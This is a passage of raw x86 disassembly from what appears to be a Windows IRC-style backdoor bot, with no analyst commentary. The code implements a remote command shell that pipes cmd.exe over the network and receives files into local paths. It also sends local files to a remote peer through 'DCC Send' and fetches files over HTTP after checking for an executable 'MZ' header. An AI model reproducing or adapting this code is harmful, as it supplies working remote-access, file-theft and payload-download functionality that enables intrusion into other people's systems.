		call	dword_417084	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_401C62
		cmp	dword ptr [ebp-730h], 103h
		jz	short loc_401C62
		push	offset aCmd_exeProcess ; "Cmd.exe process has terminated."
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401C62:				; CODE XREF: cAddress:00401C3Cj
					; cAddress:00401C48j
		push	0Ah
		call	dword_41709C	; Sleep
		jmp	loc_401BAD
; ---------------------------------------------------------------------------


loc_401C6F:				; CODE XREF: cAddress:00401C1Bj
		and	dword ptr [ebp-72Ch], 0
		jmp	short loc_401C85
; ---------------------------------------------------------------------------


loc_401C78:				; CODE XREF: cAddress:loc_401CAFj
		mov	eax, [ebp-72Ch]
		inc	eax
		mov	[ebp-72Ch], eax


loc_401C85:				; CODE XREF: cAddress:00401C76j
		mov	eax, [ebp-72Ch]
		cmp	eax, [ebp-4]
		jnb	short loc_401CB1
		mov	eax, [ebp-72Ch]
		movsx	eax, byte ptr [ebp+eax-204h]
		cmp	eax, 0Ah
		jnz	short loc_401CAF
		mov	dword ptr [ebp-208h], 1
		jmp	short loc_401CB1
; ---------------------------------------------------------------------------


loc_401CAF:				; CODE XREF: cAddress:00401CA1j
		jmp	short loc_401C78
; ---------------------------------------------------------------------------


loc_401CB1:				; CODE XREF: cAddress:00401C8Ej
					; cAddress:00401CADj
		cmp	dword ptr [ebp-208h], 0
		jz	short loc_401CC6
		mov	eax, [ebp-72Ch]
		inc	eax
		mov	[ebp-4], eax
		jmp	short loc_401CCD
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: cAddress:00401CB8j
		mov	dword ptr [ebp-4], 200h


loc_401CCD:				; CODE XREF: cAddress:00401CC4j
		push	200h
		push	0
		lea	eax, [ebp-204h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		lea	eax, [ebp-31Ch]
		push	eax
		push	dword ptr [ebp-4]
		lea	eax, [ebp-204h]
		push	eax
		push	dword_41DDF4
		call	dword_417088	; ReadFile
		test	eax, eax
		jnz	short loc_401D08
		jmp	short loc_401D22
; ---------------------------------------------------------------------------


loc_401D08:				; CODE XREF: cAddress:00401D04j
		lea	eax, [ebp-204h]
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401BAD
; ---------------------------------------------------------------------------


loc_401D22:				; CODE XREF: cAddress:00401BB9j
					; cAddress:00401C12j ...
		call	sub_401856
		push	dword ptr [ebp-714h]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_401D35:				; CODE XREF: cAddress:004019E8j
					; cAddress:00401A3Cj ...
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D39	proc near		; CODE XREF: sub_401D6E+AFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	dword_41DDF0
		call	dword_417068	; WriteFile
		test	eax, eax
		jnz	short loc_401D69
		xor	eax, eax
		jmp	short locret_401D6C
; ---------------------------------------------------------------------------


loc_401D69:				; CODE XREF: sub_401D39+2Aj
		push	1
		pop	eax

locret_401D6C:				; CODE XREF: sub_401D39+2Ej
		leave
		retn
sub_401D39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D6E	proc near		; CODE XREF: sub_40A9CF+14A0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_401DA6
		cmp	[ebp+arg_4], 0
		jnz	short loc_401D8B
		jmp	locret_401E36
; ---------------------------------------------------------------------------


loc_401D8B:				; CODE XREF: sub_401D6E+16j
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		jmp	locret_401E36
; ---------------------------------------------------------------------------


loc_401DA6:				; CODE XREF: sub_401D6E+10j
		push	3A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_401DBC
		jmp	short locret_401E36
; ---------------------------------------------------------------------------


loc_401DBC:				; CODE XREF: sub_401D6E+4Aj
		cmp	[ebp+arg_4], 0
		jz	short loc_401DD9
		push	200h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_401DD9:				; CODE XREF: sub_401D6E+52j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aRemoteCmdThrea ; "Remote cmd thread"
		push	1
		push	[ebp+var_4]
		push	offset loc_401981
		call	sub_4095A4
		add	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_401E0B
		jmp	short locret_401E36
; ---------------------------------------------------------------------------


loc_401E0B:				; CODE XREF: sub_401D6E+99j
		push	offset asc_418214 ; "\r\n"
		push	[ebp+arg_4]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		call	sub_401D39
		pop	ecx
		test	eax, eax
		jnz	short locret_401E36
		push	offset aErrorWhileExec ; "Error	while executing	command."
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx

locret_401E36:				; CODE XREF: sub_401D6E+18j
					; sub_401D6E+33j ...
		leave
		retn
sub_401D6E	endp

; ---------------------------------------------------------------------------


loc_401E38:				; DATA XREF: sub_4024F3+10Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 604h
		push	3D6h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-5E0h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp-5BBh]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	offset dword_4182AC
		lea	eax, [ebp-5BBh]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp-5E4h], eax
		cmp	dword ptr [ebp-5E4h], 0
		jnz	short loc_401EA3
		push	dword ptr [ebp-5E0h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------


loc_401EA3:				; CODE XREF: cAddress:00401E8Ej
		push	2710h
		push	0
		lea	eax, [ebp-3B7h]
		push	eax
		lea	eax, [ebp-4B7h]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp-208h], eax
		cmp	dword ptr [ebp-208h], 0
		jnz	short loc_401EEE
		push	dword ptr [ebp-5E4h]
		call	sub_416B82	; fclose
		pop	ecx
		push	dword ptr [ebp-5E0h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------


loc_401EEE:				; CODE XREF: cAddress:00401ECDj
		lea	eax, [ebp-5DCh]
		push	eax
		lea	eax, [ebp-5BBh]
		push	eax
		mov	eax, [ebp-5E0h]
		push	dword ptr [eax]
		push	offset dword_418280
		lea	eax, [ebp-3ADh]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64	; clock
		mov	[ebp-5E8h], eax
		and	dword ptr [ebp-204h], 0


loc_401F2A:				; CODE XREF: cAddress:loc_401FD8j
		push	0
		push	200h
		lea	eax, [ebp-200h]
		push	eax
		push	dword ptr [ebp-208h]
		call	dword_417248	; recv
		mov	[ebp-5F0h], eax
		cmp	dword ptr [ebp-5F0h], 0
		jz	short loc_401F5F
		cmp	dword ptr [ebp-5F0h], 200h
		jbe	short loc_401F61


loc_401F5F:				; CODE XREF: cAddress:00401F51j
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------


loc_401F61:				; CODE XREF: cAddress:00401F5Dj
		mov	eax, [ebp-204h]
		add	eax, [ebp-5F0h]
		mov	[ebp-204h], eax
		push	dword ptr [ebp-204h]
		call	dword_41724C	; htonl
		mov	[ebp-5F4h], eax
		push	4
		lea	eax, [ebp-5F4h]
		push	eax
		push	dword ptr [ebp-208h]
		call	sub_4053BF
		add	esp, 0Ch
		push	dword ptr [ebp-5E4h]
		push	dword ptr [ebp-5F0h]
		push	1
		lea	eax, [ebp-200h]
		push	eax
		call	sub_416B7C	; fwrite
		add	esp, 10h
		cmp	dword ptr [ebp-5F0h], 200h
		jnb	short loc_401FC7
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------


loc_401FC7:				; CODE XREF: cAddress:00401FC3j
		mov	eax, [ebp-5E0h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401FD8
		jmp	loc_4020BC
; ---------------------------------------------------------------------------


loc_401FD8:				; CODE XREF: cAddress:00401FD1j
		jmp	loc_401F2A
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: cAddress:loc_401F5Fj
					; cAddress:00401FC5j
		push	dword ptr [ebp-5E4h]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp-5ECh], eax
		call	sub_416B64	; clock
		cmp	[ebp-5E8h], eax
		jnz	short loc_402008
		call	sub_416B64	; clock
		dec	eax
		mov	[ebp-5E8h], eax


loc_402008:				; CODE XREF: cAddress:00401FFAj
		mov	eax, [ebp-5ECh]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp-5F8h], eax
		fild	dword ptr [ebp-5F8h]
		fstp	dword ptr [ebp-5FCh]
		call	sub_416B64	; clock
		sub	eax, [ebp-5E8h]
		mov	[ebp-600h], eax
		fild	dword ptr [ebp-600h]
		fdiv	flt_417270
		fdivr	dword ptr [ebp-5FCh]
		push	ecx
		push	ecx
		fstp	qword ptr [esp]
		call	sub_416B64	; clock
		sub	eax, [ebp-5E8h]
		mov	[ebp-604h], eax
		fild	dword ptr [ebp-604h]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	qword ptr [esp]
		lea	eax, [ebp-5DCh]
		push	eax
		lea	eax, [ebp-5BBh]
		push	eax
		push	offset dword_418234
		lea	eax, [ebp-3ADh]
		push	eax
		call	sub_40D53F
		add	esp, 20h


loc_402094:				; CODE XREF: cAddress:loc_4020BCj
		push	dword ptr [ebp-5E4h]
		call	sub_416B82	; fclose
		pop	ecx
		push	dword ptr [ebp-208h]
		call	sub_40538D
		pop	ecx
		push	dword ptr [ebp-5E0h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4020BE
; ---------------------------------------------------------------------------


loc_4020BC:				; CODE XREF: cAddress:00401FD3j
		jmp	short loc_402094
; ---------------------------------------------------------------------------

locret_4020BE:				; CODE XREF: cAddress:00401E9Ej
					; cAddress:00401EE9j ...
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4020C2:				; DATA XREF: sub_40260D+7Co
		push	ebp
		mov	ebp, esp
		sub	esp, 0A1Ch
		push	2CCh
		push	dword ptr [ebp+8]
		lea	eax, [ebp-8E4h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp-8BFh]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp-9F8h], eax
		jmp	short loc_40210D
; ---------------------------------------------------------------------------


loc_402100:				; CODE XREF: cAddress:loc_40215Ej
		mov	eax, [ebp-9F8h]
		dec	eax
		mov	[ebp-9F8h], eax


loc_40210D:				; CODE XREF: cAddress:004020FEj
		cmp	dword ptr [ebp-9F8h], 0
		jnz	short loc_40212D
		lea	eax, [ebp-8BFh]
		push	eax
		lea	eax, [ebp-9F0h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------


loc_40212D:				; CODE XREF: cAddress:00402114j
		mov	eax, [ebp-9F8h]
		movsx	eax, byte ptr [ebp+eax-8BFh]
		cmp	eax, 5Ch
		jnz	short loc_40215E
		mov	eax, [ebp-9F8h]
		lea	eax, [ebp+eax-8BEh]
		push	eax
		lea	eax, [ebp-9F0h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------


loc_40215E:				; CODE XREF: cAddress:0040213Ej
		jmp	short loc_402100
; ---------------------------------------------------------------------------


loc_402160:				; CODE XREF: cAddress:0040212Bj
					; cAddress:0040215Cj
		mov	dword ptr [ebp-8E8h], 10h
		lea	eax, [ebp-8E8h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		call	sub_40CF25
		push	eax
		call	dword_417240	; getsockname
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp-614h]
		push	eax
		push	dword ptr [ebp-8E8h]
		lea	eax, [ebp-10h]
		push	eax
		call	dword_41DE58	; getnameinfo
		test	eax, eax
		jz	short loc_4021BA
		push	dword ptr [ebp-8E4h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_4021BA:				; CODE XREF: cAddress:004021A5j
		push	0Ah
		lea	eax, [ebp-0A04h]
		push	eax
		push	1388h
		push	400h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		lea	eax, [ebp-0A04h]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp-9FCh], eax
		cmp	dword ptr [ebp-9FCh], 0
		jnz	short loc_40220F
		push	dword ptr [ebp-8E4h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_40220F:				; CODE XREF: cAddress:004021FAj
		push	offset aRb	; "rb"
		lea	eax, [ebp-8BFh]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp-8ECh], eax
		cmp	dword ptr [ebp-8ECh], 0
		jnz	short loc_402250
		push	dword ptr [ebp-9FCh]
		call	sub_404CBB
		pop	ecx
		push	dword ptr [ebp-8E4h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_402250:				; CODE XREF: cAddress:0040222Fj
		push	2
		push	0
		push	dword ptr [ebp-8ECh]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	dword ptr [ebp-8ECh]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp-0A08h], eax
		push	0
		push	0
		push	dword ptr [ebp-8ECh]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		lea	eax, [ebp-614h]
		push	eax
		lea	eax, [ebp-9F0h]
		push	eax
		push	offset aDccSendSS ; "DCC Send %s (%s)"
		lea	eax, [ebp-8E0h]
		push	eax
		call	sub_40D420
		add	esp, 10h
		push	dword ptr [ebp-0A08h]
		lea	eax, [ebp-0A04h]
		push	eax
		lea	eax, [ebp-614h]
		push	eax
		call	dword_417244	; inet_addr
		push	eax
		call	dword_41724C	; htonl
		push	eax
		lea	eax, [ebp-9F0h]
		push	eax
		push	offset dword_418348
		lea	eax, [ebp-8E0h]
		push	eax
		call	sub_40D4AB
		add	esp, 18h
		push	0EA60h
		push	dword ptr [ebp-9FCh]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp-618h], eax
		cmp	dword ptr [ebp-618h], 0
		jz	short loc_40230F
		cmp	dword ptr [ebp-618h], 0FFFFFFFFh
		jnz	short loc_40233A


loc_40230F:				; CODE XREF: cAddress:00402304j
		push	dword ptr [ebp-8ECh]
		call	sub_416B82	; fclose
		pop	ecx
		push	dword ptr [ebp-9FCh]
		call	sub_404CBB
		pop	ecx
		push	dword ptr [ebp-8E4h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: cAddress:0040230Dj
		lea	eax, [ebp-8E0h]
		push	eax
		lea	eax, [ebp-9F0h]
		push	eax
		mov	eax, [ebp-8E4h]
		push	dword ptr [eax]
		push	offset dword_418320
		lea	eax, [ebp-7BBh]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64	; clock
		mov	[ebp-9F4h], eax


loc_40236F:				; CODE XREF: cAddress:loc_40240Dj
		push	dword ptr [ebp-8ECh]
		push	200h
		push	1
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp-0A0Ch], eax
		cmp	dword ptr [ebp-0A0Ch], 0
		jz	short loc_4023A6
		cmp	dword ptr [ebp-0A0Ch], 200h
		jbe	short loc_4023A8


loc_4023A6:				; CODE XREF: cAddress:00402398j
		jmp	short loc_402412
; ---------------------------------------------------------------------------


loc_4023A8:				; CODE XREF: cAddress:004023A4j
		push	dword ptr [ebp-0A0Ch]
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-618h]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4023EE
		lea	eax, [ebp-8E0h]
		push	eax
		lea	eax, [ebp-9F0h]
		push	eax
		push	offset dword_4182F4
		lea	eax, [ebp-7BBh]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_4024ED
; ---------------------------------------------------------------------------


loc_4023EE:				; CODE XREF: cAddress:004023C5j
		cmp	dword ptr [ebp-0A0Ch], 200h
		jnb	short loc_4023FC
		jmp	short loc_402412
; ---------------------------------------------------------------------------


loc_4023FC:				; CODE XREF: cAddress:004023F8j
		mov	eax, [ebp-8E4h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40240D
		jmp	loc_4024EB
; ---------------------------------------------------------------------------


loc_40240D:				; CODE XREF: cAddress:00402406j
		jmp	loc_40236F
; ---------------------------------------------------------------------------


loc_402412:				; CODE XREF: cAddress:loc_4023A6j
					; cAddress:004023FAj
		call	sub_416B64	; clock
		cmp	[ebp-9F4h], eax
		jnz	short loc_40242B
		call	sub_416B64	; clock
		dec	eax
		mov	[ebp-9F4h], eax


loc_40242B:				; CODE XREF: cAddress:0040241Dj
		mov	eax, [ebp-0A08h]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp-0A10h], eax
		fild	dword ptr [ebp-0A10h]
		fstp	dword ptr [ebp-0A14h]
		call	sub_416B64	; clock
		sub	eax, [ebp-9F4h]
		mov	[ebp-0A18h], eax
		fild	dword ptr [ebp-0A18h]
		fdiv	flt_417270
		fdivr	dword ptr [ebp-0A14h]
		push	ecx
		push	ecx
		fstp	qword ptr [esp]
		call	sub_416B64	; clock
		sub	eax, [ebp-9F4h]
		mov	[ebp-0A1Ch], eax
		fild	dword ptr [ebp-0A1Ch]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	qword ptr [esp]
		lea	eax, [ebp-8E0h]
		push	eax
		lea	eax, [ebp-9F0h]
		push	eax
		push	offset dword_4182B0
		lea	eax, [ebp-7BBh]
		push	eax
		call	sub_40D53F
		add	esp, 20h


loc_4024B7:				; CODE XREF: cAddress:loc_4024EBj
					; cAddress:loc_4024EDj
		push	dword ptr [ebp-618h]
		call	sub_40538D
		pop	ecx
		push	dword ptr [ebp-8ECh]
		call	sub_416B82	; fclose
		pop	ecx
		push	dword ptr [ebp-9FCh]
		call	sub_404CBB
		pop	ecx
		push	dword ptr [ebp-8E4h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4024EF
; ---------------------------------------------------------------------------


loc_4024EB:				; CODE XREF: cAddress:00402408j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------


loc_4024ED:				; CODE XREF: cAddress:004023E9j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------

locret_4024EF:				; CODE XREF: cAddress:004021B5j
					; cAddress:0040220Aj ...
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024F3	proc near		; CODE XREF: sub_40D871+203p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_402511
		cmp	[ebp+arg_8], 0
		jz	short loc_402511
		cmp	[ebp+arg_C], 0
		jz	short loc_402511
		cmp	[ebp+arg_10], 0
		jnz	short loc_402516


loc_402511:				; CODE XREF: sub_4024F3+Aj
					; sub_4024F3+10j ...
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402516:				; CODE XREF: sub_4024F3+1Cj
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_402531
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_402536


loc_402531:				; CODE XREF: sub_4024F3+33j
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402536:				; CODE XREF: sub_4024F3+3Cj
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_402551
		cmp	[ebp+var_8], 40000000h
		jbe	short loc_402556


loc_402551:				; CODE XREF: sub_4024F3+53j
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402556:				; CODE XREF: sub_4024F3+5Cj
		push	3D6h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40256F
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_40256F:				; CODE XREF: sub_4024F3+75j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	100h
		push	[ebp+arg_C]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	6
		push	[ebp+arg_10]
		mov	eax, [ebp+var_4]
		add	eax, 229h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+22Fh], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 233h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_41837C
		push	0
		push	[ebp+var_4]
		push	offset loc_401E38
		call	sub_4095A4
		add	esp, 18h

locret_40260B:				; CODE XREF: sub_4024F3:loc_402511j
					; sub_4024F3:loc_402531j ...
		leave
		retn
sub_4024F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40260D	proc near		; CODE XREF: sub_40A9CF+98Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40261D
		cmp	[ebp+arg_8], 0
		jnz	short loc_40261F


loc_40261D:				; CODE XREF: sub_40260D+8j
		jmp	short locret_402696
; ---------------------------------------------------------------------------


loc_40261F:				; CODE XREF: sub_40260D+Ej
		push	2CCh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_402635
		jmp	short locret_402696
; ---------------------------------------------------------------------------


loc_402635:				; CODE XREF: sub_40260D+24j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4183A0
		push	0
		push	[ebp+var_4]
		push	offset loc_4020C2
		call	sub_4095A4
		add	esp, 18h

locret_402696:				; CODE XREF: sub_40260D:loc_40261Dj
					; sub_40260D+26j
		leave
		retn
sub_40260D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402698	proc near		; CODE XREF: cAddress:00402FFBp

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	2710h
		push	0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_414], eax
		cmp	[ebp+var_414], 0
		jnz	short loc_4026CC
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4026CC:				; CODE XREF: sub_402698+2Bj
		push	[ebp+arg_8]
		push	[ebp+arg_10]
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402745
		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_402758


loc_402745:				; CODE XREF: sub_402698+A2j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_402758:				; CODE XREF: sub_402698+ABj
		push	offset asc_4183EC ; "\r\n\r\n"
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_40278D
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40278D:				; CODE XREF: sub_402698+E0j
		mov	eax, [ebp+var_410]
		add	eax, 4
		mov	[ebp+var_410], eax
		push	offset aContentLength ;	"Content-Length: "
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_40C], eax
		cmp	[ebp+var_40C], 0
		jz	short loc_4027CC
		mov	eax, [ebp+var_40C]
		cmp	eax, [ebp+var_410]
		jbe	short loc_4027DF


loc_4027CC:				; CODE XREF: sub_402698+124j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4027DF:				; CODE XREF: sub_402698+132j
		and	[ebp+var_41C], 0
		lea	eax, [ebp+var_41C]
		push	eax
		push	offset aContentLengthU ; "Content-Length: %u\r\n"
		push	[ebp+var_40C]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 1
		jnz	short loc_402818
		cmp	[ebp+var_41C], 0
		jnz	short loc_40282B


loc_402818:				; CODE XREF: sub_402698+175j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40282B:				; CODE XREF: sub_402698+17Ej
		cmp	[ebp+arg_1C], 0
		jz	short loc_40285D
		cmp	[ebp+var_41C], 2
		jb	short loc_40284A
		mov	eax, [ebp+var_410]
		movzx	eax, word ptr [eax]
		cmp	eax, 5A4Dh
		jz	short loc_40285D


loc_40284A:				; CODE XREF: sub_402698+1A0j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40285D:				; CODE XREF: sub_402698+197j
					; sub_402698+1B0j
		cmp	[ebp+arg_18], 0
		jz	short loc_40286E
		mov	eax, [ebp+arg_18]
		mov	ecx, [ebp+var_41C]
		mov	[eax], ecx


loc_40286E:				; CODE XREF: sub_402698+1C9j
		push	[ebp+arg_14]
		call	sub_4167B9
		pop	ecx
		test	eax, eax
		jz	short loc_40288E
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40288E:				; CODE XREF: sub_402698+1E1j
		push	offset dword_4182AC
